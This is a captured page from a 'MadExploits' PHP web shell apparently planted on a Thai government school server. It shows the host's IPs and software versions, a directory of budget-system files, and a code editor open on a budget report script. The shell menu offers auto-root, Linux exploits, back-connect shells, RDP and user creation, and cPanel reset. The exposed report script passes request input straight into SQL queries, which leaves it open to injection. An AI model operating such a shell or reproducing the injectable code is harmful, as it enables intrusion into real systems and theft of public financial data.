Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
budget /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
approve.php
20.37
KB
-rwxr-xr-x
approve_reserve.php
17.03
KB
-rwxr-xr-x
bud_book.php
15.15
KB
-rwxr-xr-x
budget_year.php
10.7
KB
-rwxr-xr-x
cancel_deega.php
12.45
KB
-rwxr-xr-x
cash_book.php
15.49
KB
-rwxr-xr-x
change_bud.php
19.67
KB
-rwxr-xr-x
change_ex_bud.php
22.41
KB
-rwxr-xr-x
change_income_bud.php
22.66
KB
-rwxr-xr-x
ex_bud_book.php
14.92
KB
-rwxr-xr-x
form1.php
14.16
KB
-rwxr-xr-x
form2.php
12.49
KB
-rwxr-xr-x
income_bud_book.php
14.99
KB
-rwxr-xr-x
livesearch.php
1.64
KB
-rwxr-xr-x
pay_bud.php
25.02
KB
-rwxr-xr-x
pay_check.php
25.89
KB
-rwxr-xr-x
pay_check_reserve.php
19.29
KB
-rwxr-xr-x
pay_ex_bud.php
29.83
KB
-rwxr-xr-x
pay_income_bud.php
22.75
KB
-rwxr-xr-x
permission.php
18.38
KB
-rwxr-xr-x
print_check.php
3.71
KB
-rwxr-xr-x
receive_bud.php
19.66
KB
-rwxr-xr-x
receive_ex_bud.php
24.18
KB
-rwxr-xr-x
receive_income_bud.php
24.01
KB
-rwxr-xr-x
refer_deega.php
8.07
KB
-rwxr-xr-x
refer_wd.php
9.41
KB
-rwxr-xr-x
report_1.php
12.31
KB
-rwxr-xr-x
report_10.php
6.31
KB
-rwxr-xr-x
report_10_2.php
8.67
KB
-rwxr-xr-x
report_10_3.php
7.79
KB
-rwxr-xr-x
report_10_4.php
7.17
KB
-rwxr-xr-x
report_12.php
10.69
KB
-rwxr-xr-x
report_12_2.php
6.12
KB
-rwxr-xr-x
report_12_3.php
7.82
KB
-rwxr-xr-x
report_13.php
9.17
KB
-rwxr-xr-x
report_1_mobile.php
11.19
KB
-rwxr-xr-x
report_2.php
6.39
KB
-rwxr-xr-x
report_21.php
17.04
KB
-rwxr-xr-x
report_23.php
8.06
KB
-rwxr-xr-x
report_3.php
9.5
KB
-rwxr-xr-x
report_4.php
6.38
KB
-rwxr-xr-x
report_5.php
5.96
KB
-rwxr-xr-x
report_8.php
6.5
KB
-rwxr-xr-x
report_9.php
8.54
KB
-rwxr-xr-x
report_pay_check.php
15.89
KB
-rwxr-xr-x
report_pay_check_reserve.php
13.11
KB
-rwxr-xr-x
reserve_money.php
29.05
KB
-rwxr-xr-x
return_ajax_proj.php
1.06
KB
-rwxr-xr-x
return_ajax_proj_2.php
859
B
-rw-r--r--
return_withdraw.php
26.73
KB
-rwxr-xr-x
today_report.php
16.29
KB
-rwxr-xr-x
withdraw.php
47.57
KB
-rwxr-xr-x
withdraw2.php
40.21
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_12.php
<?php defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); ?> <br /> <div align="center"> <p><font color="#006666" size="3"><strong>รายงานการใช้จ่ายงบประมาณจำแนกตามรหัสงบประมาณ</strong></font></p> </div> <br /> <?php if($result_permission['p10']!=1){ exit(); } if(!(isset($_REQUEST['year_index']))){ $_REQUEST['year_index']=""; } //ปีงบประมาณ $year_index=$_REQUEST['year_index']; if($year_index!=""){ $year_active_result['budget_year']=$year_index; } else{ $sql = "select * from budget_year where year_active='1' order by budget_year desc limit 1"; $dbquery = mysqli_query($connect,$sql); $year_active_result = mysqli_fetch_array($dbquery); if($year_active_result['budget_year']==""){ echo "<br />"; echo "<div align='center'>ยังไม่ได้กำหนดทำงานในปีงบประมาณใด ๆ กรุณาไปที่เมนูตั้งค่าระบบ เพื่อกำหนดปีงบประมาณ</div>"; exit(); } } $sql = "select * from budget_pay_type order by pay_type_id"; // สร้างตัวแปรอาเรย์ของรหัสประเภทรายจ่าย $dbquery = mysqli_query($connect,$sql); $ms2=1; While ($result = mysqli_fetch_array($dbquery)) { $code= $result['pay_type_id']; $name= $result['pay_type_name']; $name_ar[$code]=$name; $ms2++; } $sql = "select distinct pay_group from budget_deega where budget_year='$year_active_result[budget_year]' order by pay_group"; //แยกรหัสประเภทรายจ่ายจากฎีกา $dbquery = mysqli_query($connect,$sql); $ms=1; While ($result = mysqli_fetch_array($dbquery)) { $code= $result['pay_group']; $code_ar[$ms]=$code; $ms++; } $sql = "select distinct project from budget_deega where budget_year='$year_active_result[budget_year]' order by project"; //แยกรหัสงบประมาณจากฎีกา $dbquery = mysqli_query($connect,$sql); $rd=1; While ($result = mysqli_fetch_array($dbquery)) { $project= $result['project']; $project_ar[$rd]=$project; $rd++; } $sql = "select distinct project from budget_receive where budget_year='$year_active_result[budget_year]' order by project"; //แยกรหัสงบประมาณจากเงินงวด $dbquery = mysqli_query($connect,$sql); $rd2=1; While ($result = mysqli_fetch_array($dbquery)) { $project_receive= $result['project']; $project_receive_ar[$rd2]=$project_receive; $rd2++; } $x=$rd; //รวมรหัสงบประมาณระหว่างรหัสจากเงินงวดและรหัสจากฎีกา for($rd3=1;$rd3<$rd2;$rd3++) { $rd_num=0; for($rd4=1;$rd4<$x;$rd4++) { if($project_receive_ar[$rd3]==$project_ar[$rd4]) $rd_num=$rd_num+1; } if($rd_num==0) { $project_ar[$rd]=$project_receive_ar[$rd3]; $rd=$rd+1; } } //เงินคืนคลัง $ld=$rd; $money_redeega_total=""; $money_redeega_total_f=""; for($i=1;$i<$ld;$i++){ //กำหนดตัวแปร $money_redeega_sum[$i]=0; $sql = "select project, money from budget_return_deega where project='$project_ar[$i]' and budget_year='$year_active_result[budget_year]'"; // รวมเงินคืนคลังในแต่ละรหัสงบประมาณ $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)) { $money_redeega= $result['money']; $money_redeega_sum[$i]=$money_redeega_sum[$i]+$money_redeega; } $money_redeega_sum_f[$i]=number_format($money_redeega_sum[$i],2); $money_redeega_total=$money_redeega_total+$money_redeega_sum[$i]; $money_redeega_total_f=number_format($money_redeega_total,2); } //// //งบรายจ่าย for($i=1;$i<$ms;$i++){ $money_paygr_ar[$i]=0; $sql = "select pay_group, money from budget_return_deega where pay_group='$code_ar[$i]' and budget_year='$year_active_result[budget_year]'"; // รวมเงินคืนคลังในแต่ประเภทการจ่าย $dbquery = mysqli_query($connect,$sql); While($result = mysqli_fetch_array($dbquery)) { $money_paygr = $result['money']; $money_paygr_ar[$i]=$money_paygr_ar[$i]+$money_paygr; } } $withdraw_all=0; //เบิกเงินทั้งหมด $withdraw_all2=0; for($i=1;$i<$rd;$i++) //รวมรายการเบิกตามรหัสงบประมาณ { $withdraw_sum=0; $sql = "select withdraw from budget_deega where project='$project_ar[$i]' and budget_year='$year_active_result[budget_year]'"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)) { $withdraw= $result['withdraw']; $withdraw_sum=$withdraw_sum+$withdraw; } $withdraw_sum_ar[$i]=$withdraw_sum; $withdraw_all=$withdraw_all+$withdraw_sum_ar[$i]; } //รวมรายรับตามรหัสงบประมาณ $sum_receive_money=0; for($i=1;$i<$rd;$i++) { $total_receive_money=0; $sql = "select money from budget_receive where project='$project_ar[$i]' and budget_year='$year_active_result[budget_year]'"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)) { $receive_money= $result['money']; $total_receive_money=$total_receive_money+$receive_money; } $total_receive_money_ar[$i]=$total_receive_money; $net_project_ar[$i]=$total_receive_money_ar[$i]-$withdraw_sum_ar[$i]+$money_redeega_sum[$i]; $sum_receive_money=$sum_receive_money+$total_receive_money_ar[$i]; if($total_receive_money_ar[$i]<>0) { $percent[$i]=($withdraw_sum_ar[$i]/$total_receive_money_ar[$i])*100; $percent[$i]=number_format($percent[$i],2); } else{ $percent[$i]=""; } $total_receive_money_ar[$i]=number_format($total_receive_money_ar[$i],2); $net_project_ar[$i]=number_format($net_project_ar[$i],2); } ////////////////// เลือกปีงบประมาณ echo "<form name='frm1'>"; echo "<table width='95%' align='center'><tr><td align='right'>"; echo "ปีงบประมาณ "; echo "<Select name='year_index' size='1'>"; echo '<option value ="" >เลือก</option>' ; $sql_year = "SELECT * FROM budget_year order by budget_year"; $dbquery_year = mysqli_query($connect,$sql_year); While ($result_year = mysqli_fetch_array($dbquery_year)){ if($year_index==""){ if($result_year['year_active']==1){ echo "<option value=$result_year[budget_year] selected>$result_year[budget_year]</option>"; } else{ echo "<option value=$result_year[budget_year]>$result_year[budget_year]</option>"; } } else{ if($year_index==$result_year['budget_year']){ echo "<option value=$result_year[budget_year] selected>$result_year[budget_year]</option>"; } else{ echo "<option value=$result_year[budget_year]>$result_year[budget_year]</option>"; } } } echo "</select>"; echo " <INPUT TYPE='button' name='smb' value='เลือก' onclick='goto_url(1)' class=entrybutton>"; echo "</td></tr></table>"; echo "</form>"; ///////////////////// echo "<table width=95% border=0 align=center>"; echo "<Tr bgcolor=#FFCCCC align=center class=style2><Td>ที่</Td><Td>รหัสงบประมาณ</Td><Td>งบรายจ่าย</Td><Td>เงินตามใบงวด</Td><Td>ฎีกาเบิก</Td><Td>คืนคลัง</Td><Td>คงเหลือ</Td><Td>%จ่าย</Td><Td></Td></Tr>"; for($i=1;$i<$rd;$i++) { $withdraw1_sum_ar[$i]=number_format($withdraw_sum_ar[$i],2); echo "<Tr bgcolor='#FFFFCC' align='center'><Td>$i</Td><Td align='left'>$project_ar[$i]</Td><Td align='right'></Td><Td align='right'>$total_receive_money_ar[$i]</Td><Td align='right'>$withdraw1_sum_ar[$i]</Td><Td align='right'>$money_redeega_sum_f[$i]</Td><Td align='right'>$net_project_ar[$i]</Td><Td align='right'>$percent[$i]</Td><Td></Td></Tr>"; for($m=1;$m<$ms;$m++) { $withdraw2_sum=0; $sql = "select withdraw from budget_deega where project='$project_ar[$i]' and pay_group='$code_ar[$m]' and budget_year='$year_active_result[budget_year]'"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)) { $withdraw2= $result['withdraw']; $withdraw2_sum=$withdraw2_sum+$withdraw2; } $withdraw22_sum=number_format($withdraw2_sum,2); if($withdraw2_sum!=0) { $pay_group=$code_ar[$m]; echo "<Tr align=center class=style1><Td></Td><Td align=left></Td><Td align=left>$code_ar[$m]$name_ar[$pay_group]</Td><Td></Td><Td align=right><font color=#993300>$withdraw22_sum</font></Td><Td align=right></Td><Td></Td><Td></Td> <Td><div align=center><font size=3><a href=?option=budget&task=main/report_12_2&year_index=$year_active_result[budget_year]&project=$project_ar[$i]&pay_group=$code_ar[$m]><img src=images/browse.png border='0' alt='รายละเอียด'></a></font></div></Td> </Tr>"; } if(!(isset($withdraw2_sum_ar[$m]))){ $withdraw2_sum_ar[$m]=0; } $withdraw2_sum_ar[$m]=$withdraw2_sum_ar[$m]+$withdraw2_sum; $withdraw_all2=$withdraw_all2+$withdraw2_sum; } } $withdraw_all=number_format($withdraw_all,2); $withdraw_all2=number_format($withdraw_all2,2); $sum_receive_money_f=number_format($sum_receive_money,2); echo "<Tr bgcolor=#FFCCCC align=center class=style1><Td></Td><Td align=center>รวม</Td><Td></Td><Td align=center>$sum_receive_money_f</Td><Td align=center>$withdraw_all</Td><Td align=right>$money_redeega_total_f</Td> <Td></Td><Td></Td><Td></Td></Tr>"; echo "</Table>"; echo "<br>"; echo "<table width=50% border=0 align=center>"; echo "<Tr bgcolor=#FFCCCC align=center class=style2><Td>ที่</Td><Td>รหัส</Td><Td>งบรายจ่าย</Td><Td>ฎีกาเบิก</Td><Td>คืนคลัง</Td></Tr>"; for($m=1;$m<$ms;$m++) { if(isset($money_paygr_ar[$m])){ $money_paygr_ar[$m]=number_format($money_paygr_ar[$m],2); } else{ $money_paygr_ar[$m]=0.00; } $money=number_format($withdraw2_sum_ar[$m],2); $pay_group=$code_ar[$m]; echo "<Tr><Td align='center''>$m</Td><Td>$code_ar[$m]</Td><Td>$name_ar[$pay_group]</Td><Td align=right>$money</Td><Td align='right'>$money_paygr_ar[$m]</Td></Tr>"; } echo "</Table>"; ?> <script> function goto_url(val){ callfrm("?option=budget&task=main/report_12"); } </script>
Close